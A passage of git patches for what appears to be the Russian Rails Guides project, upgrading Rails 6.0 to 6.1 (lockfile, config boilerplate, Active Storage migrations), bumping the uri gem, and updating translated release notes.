(6.0.6.1) - actionpack (= 6.0.6.1) + actioncable (6.1.7.4) + actionpack (= 6.1.7.4) + activesupport (= 6.1.7.4) nio4r (~> 2.0) websocket-driver (>= 0.6.1) - actionmailbox (6.0.6.1) - actionpack (= 6.0.6.1) - activejob (= 6.0.6.1) - activerecord (= 6.0.6.1) - activestorage (= 6.0.6.1) - activesupport (= 6.0.6.1) + actionmailbox (6.1.7.4) + actionpack (= 6.1.7.4) + activejob (= 6.1.7.4) + activerecord (= 6.1.7.4) + activestorage (= 6.1.7.4) + activesupport (= 6.1.7.4) mail (>= 2.7.1) - actionmailer (6.0.6.1) - actionpack (= 6.0.6.1) - actionview (= 6.0.6.1) - activejob (= 6.0.6.1) + actionmailer (6.1.7.4) + actionpack (= 6.1.7.4) + actionview (= 6.1.7.4) + activejob (= 6.1.7.4) + activesupport (= 6.1.7.4) mail (~> 2.5, >= 2.5.4) rails-dom-testing (~> 2.0) - actionpack (6.0.6.1) - actionview (= 6.0.6.1) - activesupport (= 6.0.6.1) - rack (~> 2.0, >= 2.0.8) + actionpack (6.1.7.4) + actionview (= 6.1.7.4) + activesupport (= 6.1.7.4) + rack (~> 2.0, >= 2.0.9) rack-test (>= 0.6.3) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.2.0) - actiontext (6.0.6.1) - actionpack (= 6.0.6.1) - activerecord (= 6.0.6.1) - activestorage (= 6.0.6.1) - activesupport (= 6.0.6.1) + actiontext (6.1.7.4) + actionpack (= 6.1.7.4) + activerecord (= 6.1.7.4) + activestorage (= 6.1.7.4) + activesupport (= 6.1.7.4) nokogiri (>= 1.8.5) - actionview (6.0.6.1) - activesupport (= 6.0.6.1) + actionview (6.1.7.4) + activesupport (= 6.1.7.4) builder (~> 3.1) erubi (~> 1.4) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.1, >= 1.2.0) - activejob (6.0.6.1) - activesupport (= 6.0.6.1) + activejob (6.1.7.4) + activesupport (= 6.1.7.4) globalid (>= 0.3.6) - activemodel (6.0.6.1) - activesupport (= 6.0.6.1) - activerecord (6.0.6.1) - activemodel (= 6.0.6.1) - activesupport (= 6.0.6.1) - activestorage (6.0.6.1) - actionpack (= 6.0.6.1) - activejob (= 6.0.6.1) - activerecord (= 6.0.6.1) + activemodel (6.1.7.4) + activesupport (= 6.1.7.4) + activerecord (6.1.7.4) + activemodel (= 6.1.7.4) + activesupport (= 6.1.7.4) + activestorage (6.1.7.4) + actionpack (= 6.1.7.4) + activejob (= 6.1.7.4) + activerecord (= 6.1.7.4) + activesupport (= 6.1.7.4) marcel (~> 1.0) - activesupport (6.0.6.1) + mini_mime (>= 1.1.0) + activesupport (6.1.7.4) concurrent-ruby (~> 1.0, >= 1.0.2) - i18n (>= 0.7, < 2) - minitest (~> 5.1) - tzinfo (~> 1.1) - zeitwerk (~> 2.2, >= 2.2.2) + i18n (>= 1.6, < 2) + minitest (>= 5.1) + tzinfo (~> 2.0) + zeitwerk (~> 2.3) addressable (2.8.1) public_suffix (>= 2.0.2, < 6.0) bootsnap (1.4.6) @@ -69,7 +73,7 @@ GEM net-sftp (>= 2.0.0) net-ssh (>= 2.0.14) net-ssh-gateway (>= 1.1.0) - coderay (1.1.2) + coderay (1.1.3) coffee-rails (5.0.0) coffee-script (>= 2.2.0) railties (>= 5.2.0) @@ -85,7 +89,7 @@ GEM database_cleaner (1.8.3) date (3.3.3) deep_merge (1.2.1) - diff-lcs (1.3) + diff-lcs (1.5.0) dry-configurable (0.11.4) concurrent-ruby (~> 1.0) dry-core (~> 0.4, >= 0.4.7) @@ -138,7 +142,7 @@ GEM globalid (1.1.0) activesupport (>= 5.0) highline (2.0.3) - i18n (1.13.0) + i18n (1.14.1) concurrent-ruby (~> 1.0) jquery-rails (4.4.0) rails-dom-testing (>= 1, < 3) @@ -148,23 +152,23 @@ GEM listen (3.2.1) rb-fsevent (~> 0.10, >= 0.10.3) rb-inotify (~> 0.9, >= 0.9.10) - loofah (2.20.0) + loofah (2.21.3) crass (~> 1.0.2) - nokogiri (>= 1.5.9) + nokogiri (>= 1.12.0) mail (2.8.1) mini_mime (>= 0.1.1) net-imap net-pop net-smtp marcel (1.0.2) - method_source (0.9.2) + method_source (1.0.0) mini_mime (1.1.2) mini_portile2 (2.8.2) - minitest (5.18.0) + minitest (5.18.1) msgpack (1.3.3) net-http (0.3.2) uri - net-imap (0.3.4) + net-imap (0.3.6) date net-protocol net-pop (0.1.2) @@ -181,46 +185,48 @@ GEM net-ssh-gateway (2.0.0) net-ssh (>= 4.0.0) nio4r (2.5.9) - nokogiri (1.14.3) - mini_portile2 (~> 2.8.0) + nokogiri (1.15.3) + mini_portile2 (~> 2.8.2) racc (~> 1.4) pg (1.2.3) - pry (0.12.2) - coderay (~> 1.1.0) - method_source (~> 0.9.0) + pry (0.14.2) + coderay (~> 1.1) + method_source (~> 1.0) pry-rails (0.3.9) pry (>= 0.10.4) public_suffix (5.0.1) - racc (1.6.2) + racc (1.7.1) rack (2.2.7) rack-test (2.1.0) rack (>= 1.3) - rails (6.0.6.1) - actioncable (= 6.0.6.1) - actionmailbox (= 6.0.6.1) - actionmailer (= 6.0.6.1) - actionpack (= 6.0.6.1) - actiontext (= 6.0.6.1) - actionview (= 6.0.6.1) - activejob (= 6.0.6.1) - activemodel (= 6.0.6.1) - activerecord (= 6.0.6.1) - activestorage (= 6.0.6.1) - activesupport (= 6.0.6.1) - bundler (>= 1.3.0) - railties (= 6.0.6.1) + rails (6.1.7.4) + actioncable (= 6.1.7.4) + actionmailbox (= 6.1.7.4) + actionmailer (= 6.1.7.4) + actionpack (= 6.1.7.4) + actiontext (= 6.1.7.4) + actionview (= 6.1.7.4) + activejob (= 6.1.7.4) + activemodel (= 6.1.7.4) + activerecord (= 6.1.7.4) + activestorage (= 6.1.7.4) + activesupport (= 6.1.7.4) + bundler (>= 1.15.0) + railties (= 6.1.7.4) sprockets-rails (>= 2.0.0) - rails-dom-testing (2.0.3) - activesupport (>= 4.2.0) + rails-dom-testing (2.1.1) + activesupport (>= 5.0.0) + minitest nokogiri (>= 1.6) - rails-html-sanitizer (1.5.0) - loofah (~> 2.19, >= 2.19.1) - railties (6.0.6.1) - actionpack (= 6.0.6.1) - activesupport (= 6.0.6.1) + rails-html-sanitizer (1.6.0) + loofah (~> 2.21) + nokogiri (~> 1.14) + railties (6.1.7.4) + actionpack (= 6.1.7.4) + activesupport (= 6.1.7.4) method_source - rake (>= 0.8.7) - thor (>= 0.20.3, < 2.0) + rake (>= 12.2) + thor (~> 1.0) raindrops (0.19.1) rake (13.0.6) rb-fsevent (0.10.3) @@ -229,23 +235,23 @@ GEM rchardet (1.8.0) redcarpet (3.5.1) rouge (3.26.0) - rspec-core (3.9.1) - rspec-support (~> 3.9.1) - rspec-expectations (3.9.1) + rspec-core (3.12.2) + rspec-support (~> 3.12.0) + rspec-expectations (3.12.3) diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.9.0) - rspec-mocks (3.9.1) + rspec-support (~> 3.12.0) + rspec-mocks (3.12.5) diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.9.0) - rspec-rails (3.9.1) - actionpack (>= 3.0) - activesupport (>= 3.0) - railties (>= 3.0) - rspec-core (~> 3.9.0) - rspec-expectations (~> 3.9.0) - rspec-mocks (~> 3.9.0) - rspec-support (~> 3.9.0) - rspec-support (3.9.2) + rspec-support (~> 3.12.0) + rspec-rails (6.0.3) + actionpack (>= 6.1) + activesupport (>= 6.1) + railties (>= 6.1) + rspec-core (~> 3.12) + rspec-expectations (~> 3.12) + rspec-mocks (~> 3.12) + rspec-support (~> 3.12) + rspec-support (3.12.1) rspec_junit_formatter (0.4.1) rspec-core (>= 2, < 4, != 2.12.0) russian (0.6.0) @@ -274,14 +280,13 @@ GEM sprockets (>= 3.0.0) static_docs (0.2.1) rails (>= 3.1) - textacular (5.2.0) - activerecord (>= 5.0, < 6.1) - thor (1.2.1) - thread_safe (0.3.6) + textacular (5.5.1) + activerecord (>= 5.0, < 7.1) + thor (1.2.2) tilt (2.0.10) - timeout (0.3.2) - tzinfo (1.2.11) - thread_safe (~> 0.1) + timeout (0.4.0) + tzinfo (2.0.6) + concurrent-ruby (~> 1.0) uglifier (4.2.0) execjs (>= 0.3.0, < 3) unicorn (5.5.3) @@ -317,7 +322,7 @@ DEPENDENCIES nokogiri pg pry-rails - rails (~> 6.0.5) + rails (~> 6.1.7) redcarpet rouge rspec-rails diff --git a/bin/rails b/bin/rails index 07396602..6fb4e405 100755 --- a/bin/rails +++ b/bin/rails @@ -1,4 +1,4 @@ #!/usr/bin/env ruby APP_PATH = File.expand_path('../config/application', __dir__) -require_relative '../config/boot' -require 'rails/commands' +require_relative "../config/boot" +require "rails/commands" diff --git a/bin/rake b/bin/rake index 17240489..4fbf10b9 100755 --- a/bin/rake +++ b/bin/rake @@ -1,4 +1,4 @@ #!/usr/bin/env ruby -require_relative '../config/boot' -require 'rake' +require_relative "../config/boot" +require "rake" Rake.application.run diff --git a/bin/setup b/bin/setup index 5853b5ea..90700ac4 100755 --- a/bin/setup +++ b/bin/setup @@ -1,5 +1,5 @@ #!/usr/bin/env ruby -require 'fileutils' +require "fileutils" # path to your application root. APP_ROOT = File.expand_path('..', __dir__) @@ -9,8 +9,8 @@ def system!(*args) end FileUtils.chdir APP_ROOT do - # This script is a way to setup or update your development environment automatically. - # This script is idempotent, so that you can run it at anytime and get an expectable outcome. + # This script is a way to set up or update your development environment automatically. + # This script is idempotent, so that you can run it at any time and get an expectable outcome. # Add necessary setup steps to this file. puts '== Installing dependencies ==' @@ -18,7 +18,7 @@ FileUtils.chdir APP_ROOT do system('bundle check') || system!('bundle install') # Install JavaScript dependencies - # system('bin/yarn') + system! 'bin/yarn' # puts "\n== Copying sample files ==" # unless File.exist?('config/database.yml') diff --git a/bin/yarn b/bin/yarn index 460dd565..9fab2c35 100755 --- a/bin/yarn +++ b/bin/yarn @@ -1,9 +1,15 @@ #!/usr/bin/env ruby APP_ROOT = File.expand_path('..', __dir__) Dir.chdir(APP_ROOT) do - begin - exec "yarnpkg", *ARGV - rescue Errno::ENOENT + yarn = ENV["PATH"].split(File::PATH_SEPARATOR). + select { |dir| File.expand_path(dir) != __dir__ }. + product(["yarn", "yarn.cmd", "yarn.ps1"]). + map { |dir, file| File.expand_path(file, dir) }. + find { |file| File.executable?(file) } + + if yarn + exec yarn, *ARGV + else $stderr.puts "Yarn executable was not detected in the system." $stderr.puts "Download Yarn at https://yarnpkg.com/en/docs/install" exit 1 diff --git a/config.ru b/config.ru index aa881ea0..4a3c09a6 100644 --- a/config.ru +++ b/config.ru @@ -1,4 +1,6 @@ # This file is used by Rack-based servers to start the application. -require ::File.expand_path('../config/environment', __FILE__) -run Rusrails::Application +require_relative "config/environment" + +run Rails.application +Rails.application.load_server diff --git a/config/application.rb b/config/application.rb index d2c3b2b9..39731370 100644 --- a/config/application.rb +++ b/config/application.rb @@ -1,6 +1,6 @@ -require_relative 'boot' +require_relative "boot" -require 'rails/all' +require "rails/all" # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. @@ -11,10 +11,13 @@ class Application < Rails::Application # Initialize configuration defaults for originally generated Rails version. config.load_defaults 6.0 - # Settings in config/environments/* take precedence over those specified here. - # Application configuration can go into files in config/initializers - # -- all .rb files in that directory are automatically loaded after loading - # the framework and any gems in your application. + # Configuration for the application, engines, and railties goes here. + # + # These settings can be overridden in specific environments using the files + # in config/environments, which are processed later. + # + # config.time_zone = "Central Time (US & Canada)" + # config.eager_load_paths << Rails.root.join("extras") config.i18n.default_locale = :ru end diff --git a/config/boot.rb b/config/boot.rb index b9e460ce..3cda23b4 100644 --- a/config/boot.rb +++ b/config/boot.rb @@ -1,4 +1,4 @@ ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__) -require 'bundler/setup' # Set up gems listed in the Gemfile. -require 'bootsnap/setup' # Speed up boot time by caching expensive operations. +require "bundler/setup" # Set up gems listed in the Gemfile. +require "bootsnap/setup" # Speed up boot time by caching expensive operations. diff --git a/config/environment.rb b/config/environment.rb index 426333bb..cac53157 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -1,5 +1,5 @@ # Load the Rails application. -require_relative 'application' +require_relative "application" # Initialize the Rails application. Rails.application.initialize! diff --git a/config/environments/development.rb b/config/environments/development.rb index 66df51f6..7a9f6c3a 100644 --- a/config/environments/development.rb +++ b/config/environments/development.rb @@ -1,8 +1,10 @@ +require "active_support/core_ext/integer/time" + Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. - # In the development environment your application's code is reloaded on - # every request. This slows down response time but is perfect for development + # In the development environment your application's code is reloaded any time + # it changes. This slows down response time but is perfect for development # since you don't have to restart the web server when you make code changes. config.cache_classes = false @@ -39,6 +41,12 @@ # Print deprecation notices to the Rails logger. config.active_support.deprecation = :log + # Raise exceptions for disallowed deprecations. + config.active_support.disallowed_deprecation = :raise + + # Tell Active Support which deprecation messages to disallow. + config.active_support.disallowed_deprecation_warnings = [] + # Raise an error on page load if there are pending migrations. config.active_record.migration_error = :page_load @@ -54,9 +62,15 @@ config.assets.quiet = true # Raises error for missing translations. - # config.action_view.raise_on_missing_translations = true + # config.i18n.raise_on_missing_translations = true + + # Annotate rendered view with file names. + # config.action_view.annotate_rendered_view_with_filenames = true # Use an evented file watcher to asynchronously detect changes in source code, # routes, locales, etc. This feature depends on the listen gem. config.file_watcher = ActiveSupport::EventedFileUpdateChecker + + # Uncomment if you wish to allow Action Cable access from any origin. + # config.action_cable.disable_request_forgery_protection = true end diff --git a/config/environments/production.rb b/config/environments/production.rb index 47cb3c07..f39d94c4 100644 --- a/config/environments/production.rb +++ b/config/environments/production.rb @@ -1,3 +1,5 @@ +require "active_support/core_ext/integer/time" + Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. @@ -29,7 +31,7 @@ config.assets.compile = false # Enable serving of images, stylesheets, and JavaScripts from an asset server. - # config.action_controller.asset_host = 'http://assets.example.com/' + # config.asset_host = 'http://assets.example.com/' # Specifies the header that your server uses for sending files. # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache @@ -46,9 +48,9 @@ # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true - # Use the lowest log level to ensure availability of diagnostic information - # when problems arise. - config.log_level = :debug + # Include generic and useful information about system operation, but avoid logging too much + # information to avoid inadvertent exposure of personally identifiable information (PII). + config.log_level = :info # Prepend all log lines with the following tags. config.log_tags = [ :request_id ] @@ -73,11 +75,17 @@ # Send deprecation notices to registered listeners. config.active_support.deprecation = :notify + # Log disallowed deprecations. + config.active_support.disallowed_deprecation = :log + + # Tell Active Support which deprecation messages to disallow. + config.active_support.disallowed_deprecation_warnings = [] + # Use default logging formatter so that PID and timestamp are not suppressed. config.log_formatter = ::Logger::Formatter.new # Use a different logger for distributed setups. - # require 'syslog/logger' + # require "syslog/logger" # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name') if ENV["RAILS_LOG_TO_STDOUT"].present? diff --git a/config/environments/test.rb b/config/environments/test.rb index 470dee4b..17ce39cf 100644 --- a/config/environments/test.rb +++ b/config/environments/test.rb @@ -1,3 +1,5 @@ +require "active_support/core_ext/integer/time" + # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for the test suite and is wiped @@ -43,6 +45,15 @@ # Print deprecation notices to the stderr. config.active_support.deprecation = :stderr + # Raise exceptions for disallowed deprecations. + config.active_support.disallowed_deprecation = :raise + + # Tell Active Support which deprecation messages to disallow. + config.active_support.disallowed_deprecation_warnings = [] + # Raises error for missing translations. - # config.action_view.raise_on_missing_translations = true + # config.i18n.raise_on_missing_translations = true + + # Annotate rendered view with file names. + # config.action_view.annotate_rendered_view_with_filenames = true end diff --git a/config/initializers/backtrace_silencers.rb b/config/initializers/backtrace_silencers.rb index 59385cdf..33699c30 100644 --- a/config/initializers/backtrace_silencers.rb +++ b/config/initializers/backtrace_silencers.rb @@ -1,7 +1,8 @@ # Be sure to restart your server when you modify this file. # You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. -# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } +# Rails.backtrace_cleaner.add_silencer { |line| /my_noisy_library/.match?(line) } -# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. -# Rails.backtrace_cleaner.remove_silencers! +# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code +# by setting BACKTRACE=1 before calling your invocation, like "BACKTRACE=1 ./bin/rails runner 'MyClass.perform'". +Rails.backtrace_cleaner.remove_silencers! if ENV["BACKTRACE"] diff --git a/config/initializers/filter_parameter_logging.rb b/config/initializers/filter_parameter_logging.rb index 4a994e1e..4b34a036 100644 --- a/config/initializers/filter_parameter_logging.rb +++ b/config/initializers/filter_parameter_logging.rb @@ -1,4 +1,6 @@ # Be sure to restart your server when you modify this file. # Configure sensitive parameters which will be filtered from the log file. -Rails.application.config.filter_parameters += [:password] +Rails.application.config.filter_parameters += [ + :passw, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn +] diff --git a/config/initializers/new_framework_defaults_6_1.rb b/config/initializers/new_framework_defaults_6_1.rb new file mode 100644 index 00000000..9526b835 --- /dev/null +++ b/config/initializers/new_framework_defaults_6_1.rb @@ -0,0 +1,67 @@ +# Be sure to restart your server when you modify this file. +# +# This file contains migration options to ease your Rails 6.1 upgrade. +# +# Once upgraded flip defaults one by one to migrate to the new default. +# +# Read the Guide for Upgrading Ruby on Rails for more info on each option. + +# Support for inversing belongs_to -> has_many Active Record associations. +# Rails.application.config.active_record.has_many_inversing = true + +# Track Active Storage variants in the database. +# Rails.application.config.active_storage.track_variants = true + +# Apply random variation to the delay when retrying failed jobs. +# Rails.application.config.active_job.retry_jitter = 0.15 + +# Stop executing `after_enqueue`/`after_perform` callbacks if +# `before_enqueue`/`before_perform` respectively halts with `throw :abort`. +# Rails.application.config.active_job.skip_after_callbacks_if_terminated = true + +# Specify cookies SameSite protection level: either :none, :lax, or :strict. +# +# This change is not backwards compatible with earlier Rails versions. +# It's best enabled when your entire app is migrated and stable on 6.1. +# Rails.application.config.action_dispatch.cookies_same_site_protection = :lax + +# Generate CSRF tokens that are encoded in URL-safe Base64. +# +# This change is not backwards compatible with earlier Rails versions. +# It's best enabled when your entire app is migrated and stable on 6.1. +# Rails.application.config.action_controller.urlsafe_csrf_tokens = true + +# Specify whether `ActiveSupport::TimeZone.utc_to_local` returns a time with an +# UTC offset or a UTC time. +# ActiveSupport.utc_to_local_returns_utc_offset_times = true + +# Change the default HTTP status code to `308` when redirecting non-GET/HEAD +# requests to HTTPS in `ActionDispatch::SSL` middleware. +# Rails.application.config.action_dispatch.ssl_default_redirect_status = 308 + +# Use new connection handling API. For most applications this won't have any +# effect. For applications using multiple databases, this new API provides +# support for granular connection swapping. +# Rails.application.config.active_record.legacy_connection_handling = false + +# Make `form_with` generate non-remote forms by default. +# Rails.application.config.action_view.form_with_generates_remote_forms = false + +# Set the default queue name for the analysis job to the queue adapter default. +# Rails.application.config.active_storage.queues.analysis = nil + +# Set the default queue name for the purge job to the queue adapter default. +# Rails.application.config.active_storage.queues.purge = nil + +# Set the default queue name for the incineration job to the queue adapter default. +# Rails.application.config.action_mailbox.queues.incineration = nil + +# Set the default queue name for the routing job to the queue adapter default. +# Rails.application.config.action_mailbox.queues.routing = nil + +# Set the default queue name for the mail deliver job to the queue adapter default. +# Rails.application.config.action_mailer.deliver_later_queue_name = nil + +# Generate a `Link` header that gives a hint to modern browsers about +# preloading assets when using `javascript_include_tag` and `stylesheet_link_tag`. +# Rails.application.config.action_view.preload_links_header = true diff --git a/config/initializers/permissions_policy.rb b/config/initializers/permissions_policy.rb new file mode 100644 index 00000000..00f64d71 --- /dev/null +++ b/config/initializers/permissions_policy.rb @@ -0,0 +1,11 @@ +# Define an application-wide HTTP permissions policy. For further +# information see https://developers.google.com/web/updates/2018/06/feature-policy +# +# Rails.application.config.permissions_policy do |f| +# f.camera :none +# f.gyroscope :none +# f.microphone :none +# f.usb :none +# f.fullscreen :self +# f.payment :self, "https://secure.example.com/" +# end diff --git a/db/migrate/20230711215740_add_service_name_to_active_storage_blobs.active_storage.rb b/db/migrate/20230711215740_add_service_name_to_active_storage_blobs.active_storage.rb new file mode 100644 index 00000000..a15c6ce8 --- /dev/null +++ b/db/migrate/20230711215740_add_service_name_to_active_storage_blobs.active_storage.rb @@ -0,0 +1,22 @@ +# This migration comes from active_storage (originally 20190112182829) +class AddServiceNameToActiveStorageBlobs < ActiveRecord::Migration[6.0] + def up + return unless table_exists?(:active_storage_blobs) + + unless column_exists?(:active_storage_blobs, :service_name) + add_column :active_storage_blobs, :service_name, :string + + if configured_service = ActiveStorage::Blob.service.name + ActiveStorage::Blob.unscoped.update_all(service_name: configured_service) + end + + change_column :active_storage_blobs, :service_name, :string, null: false + end + end + + def down + return unless table_exists?(:active_storage_blobs) + + remove_column :active_storage_blobs, :service_name + end +end diff --git a/db/migrate/20230711215741_create_active_storage_variant_records.active_storage.rb b/db/migrate/20230711215741_create_active_storage_variant_records.active_storage.rb new file mode 100644 index 00000000..94ac83af --- /dev/null +++ b/db/migrate/20230711215741_create_active_storage_variant_records.active_storage.rb @@ -0,0 +1,27 @@ +# This migration comes from active_storage (originally 20191206030411) +class CreateActiveStorageVariantRecords < ActiveRecord::Migration[6.0] + def change + return unless table_exists?(:active_storage_blobs) + + # Use Active Record's configured type for primary key + create_table :active_storage_variant_records, id: primary_key_type, if_not_exists: true do |t| + t.belongs_to :blob, null: false, index: false, type: blobs_primary_key_type + t.string :variation_digest, null: false + + t.index %i[ blob_id variation_digest ], name: "index_active_storage_variant_records_uniqueness", unique: true + t.foreign_key :active_storage_blobs, column: :blob_id + end + end + + private + def primary_key_type + config = Rails.configuration.generators + config.options[config.orm][:primary_key_type] || :primary_key + end + + def blobs_primary_key_type + pkey_name = connection.primary_key(:active_storage_blobs) + pkey_column = connection.columns(:active_storage_blobs).find { |c| c.name == pkey_name } + pkey_column.bigint? ? :bigint : pkey_column.type + end +end diff --git a/db/schema.rb b/db/schema.rb index f5a3f124..f07b3e28 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -2,15 +2,15 @@ # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # -# This file is the source Rails uses to define your schema when running `rails -# db:schema:load`. When creating a new database, `rails db:schema:load` tends to +# This file is the source Rails uses to define your schema when running `bin/rails +# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to # be faster and is potentially less error prone than running all of your # migrations from scratch. Old migrations may fail to apply correctly if those # migrations use external dependencies or application code. # # It's strongly recommended that you check this file into your version control system. -ActiveRecord::Schema.define(version: 2021_05_16_125901) do +ActiveRecord::Schema.define(version: 2023_07_11_215741) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" From aaea736bee5d4a6fa01066f47c67e44d9717d9d8 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 14 Jul 2023 21:59:33 +0000 Subject: [PATCH 841/932] Bump uri from 0.12.1 to 0.12.2 Bumps [uri](https://github.com/ruby/uri) from 0.12.1 to 0.12.2. - [Release notes](https://github.com/ruby/uri/releases) - [Commits](https://github.com/ruby/uri/compare/v0.12.1...v0.12.2) --- updated-dependencies: - dependency-name: uri dependency-type: indirect ... Signed-off-by: dependabot[bot] --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 23a7fadc..60e472b3 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -292,7 +292,7 @@ GEM unicorn (5.5.3) kgio (~> 2.6) raindrops (~> 0.7) - uri (0.12.1) + uri (0.12.2) webrat (0.7.3) nokogiri (>= 1.2.0) rack (>= 1.0) From 10789a542cc2ce8d2cae0ebe58d952b0b6dd4ea4 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sat, 22 Jul 2023 01:26:26 +0300 Subject: [PATCH 842/932] bump images --- source/index.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/source/index.yml b/source/index.yml index 5ef57b18..7ae12647 100644 --- a/source/index.yml +++ b/source/index.yml @@ -8,8 +8,8 @@ special: file: menu.md images: - revision: 0d7a6f50e7d4cb12c8d0ae5a1b8d25523bc92ce8 - date: 03/03/2023 + revision: 22397bec6ff332fad45be75cc81f8e037563073e + date: 31/05/2023 pages: - title: Rails для начинающих From 1196ec342dff3ba82167bc2df95d92fc4430a0e5 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sat, 22 Jul 2023 01:45:52 +0300 Subject: [PATCH 843/932] update release notes --- source/4_0_release_notes.md | 2 +- source/6_1_release_notes.md | 2 +- source/7_1_release_notes.md | 56 ++++++++++++++++++++++++++++++++++++- source/index.yml | 16 +++++------ 4 files changed, 65 insertions(+), 11 deletions(-) diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index ee7a7990..ecea9f83 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -194,7 +194,7 @@ Active Support * Устарел метод совместимости `Module#local_constant_names`, используйте вместо него `Module#local_constants` (который возвращает символы). -* Устарел `BufferedLogger`. Используйте `ActiveSupport::Logger` или `logger` из стандартной библиотеки Ruby. +* Устарел `ActiveSupport::BufferedLogger`. Используйте `ActiveSupport::Logger` или `logger` из стандартной библиотеки Ruby. * Устарели `assert_present` и `assert_blank` в пользу `assert object.blank?` и `assert object.present?` diff --git a/source/6_1_release_notes.md b/source/6_1_release_notes.md index d260c81a..31dabf46 100644 --- a/source/6_1_release_notes.md +++ b/source/6_1_release_notes.md @@ -284,7 +284,7 @@ Active Record ```ruby User.where.not(name: "Jon", role: "admin") - # SELECT * FROM users WHERE NOT (name == 'Jon' AND role == 'admin') + # SELECT * FROM users WHERE NOT (name = 'Jon' AND role = 'admin') ``` * Чтобы использовать новые соединения для отдельной базы данных, в приложении нужно изменить `legacy_connection_handling` на false и удалить устаревшие методы доступа на `connection_handlers`. Публичные методы для `connects_to` и `connected_to` менять не нужно. diff --git a/source/7_1_release_notes.md b/source/7_1_release_notes.md index 0d617de9..9f898e8a 100644 --- a/source/7_1_release_notes.md +++ b/source/7_1_release_notes.md @@ -42,8 +42,20 @@ Action Pack ### Удалено +* Удалено устаревшее поведение у `Request#content_type` + +* Удалена устаревшая возможность присвоения одиночного значения `config.action_dispatch.trusted_proxies`. + +* Удалена регистрация устаревших драйверов `poltergeist` и `webkit` (capybara-webkit) для системного тестирования. + ### Устарело +* Устарел `config.action_dispatch.return_only_request_media_type_on_content_type`. + +* Устарел `AbstractController::Helpers::MissingHelperError` + +* Устарел `ActionDispatch::IllegalStateError`. + ### Значимые изменения Action View @@ -53,6 +65,10 @@ Action View ### Удалено +* Удалена устаревшая константа `ActionView::Path`. + +* Удалена устаревшая поддержка передачи переменных экземпляра как локальных в партиалы. + ### Устарело ### Значимые изменения @@ -75,7 +91,15 @@ Active Record ### Удалено -* Удалена поддержка `ActiveRecord.legacy_connection_handling`. +* Удалена поддержка `ActiveRecord.legacy_connection_handling`. + +* Удалены устаревшие методы доступа конфигурации `ActiveRecord::Base` + +* Удалена поддержка `:include_replicas` у `configs_for`. Вместо него используйте `:include_hidden`. + +* Удален устаревший `config.active_record.partial_writes`. + +* Удален устаревший `Tasks::DatabaseTasks.schema_file_type`. ### Устарело @@ -88,6 +112,14 @@ Active Storage ### Удалено +* Удалены устаревшие неправильные типы содержимого в конфигурациях Active Storage. + +* Удалены устаревшие методы `ActiveStorage::Current#host` и `ActiveStorage::Current#host=`. + +* Удалено устаревшие поведение при присвоении коллекции вложений. Вместо добавления к коллекции, сейчас коллекция заменяется. + +* Удалены устаревшие методы `purge` и `purge_later` из связи с вложениями. + ### Устарело ### Значимые изменения @@ -110,8 +142,30 @@ Active Support ### Удалено +* Удалено устаревшее переопределение `Enumerable#sum`. + +* Удален устаревший `ActiveSupport::PerThreadRegistry`. + +* Удалены устаревшие опции для передачи формата в `#to_s` в `Array`, `Range`, `Date`, `DateTime`, `Time`, `BigDecimal`, `Float` и `Integer`. + +* Удалено устаревшее переопределение `ActiveSupport::TimeWithZone.name`. + +* Удален устаревший файл `active_support/core_ext/uri`. + +* Удален устаревший файл `active_support/core_ext/range/include_time_with_zone`. + +* Удалено неявное преобразование объектов в `String` в `ActiveSupport::SafeBuffer`. + +* Удалена устаревшая поддержка генерации несоответствующих RFC 4122 UUID при предоставлении ID пространства имен, не являющегося одной из констант, определенных в `Digest::UUID`. + ### Устарело +* Устарел `config.active_support.disable_to_s_conversion`. + +* Устарел `config.active_support.remove_deprecated_time_with_zone_name`. + +* Устарел `config.active_support.use_rfc4122_namespaced_uuids`. + ### Значимые изменения Active Job diff --git a/source/index.yml b/source/index.yml index 7ae12647..d4d7775e 100644 --- a/source/index.yml +++ b/source/index.yml @@ -327,20 +327,20 @@ pages: - title: Заметки о релизе Ruby on Rails 7.1 path: 7_1_release_notes file: 7_1_release_notes.md - revision: aa81f67a9eca1fc0d7f26bfe1a181dbed4d82ce1 - date: 18/12/2022 + revision: fee2bf3f80674edbfd2c4b20fc09f891b630baa7 + date: 04/03/2023 - title: Заметки о релизе Ruby on Rails 7.0 path: 7_0_release_notes file: 7_0_release_notes.md - revision: c7c18299b376afdfda82792fcb69fdfea1119ac0 - date: 02/05/2022 + revision: 1c82b8ff5d49d004cb47d2d067df083e7ed229b3 + date: 04/02/2023 - title: Заметки о релизе Ruby on Rails 6.1 path: 6_1_release_notes file: 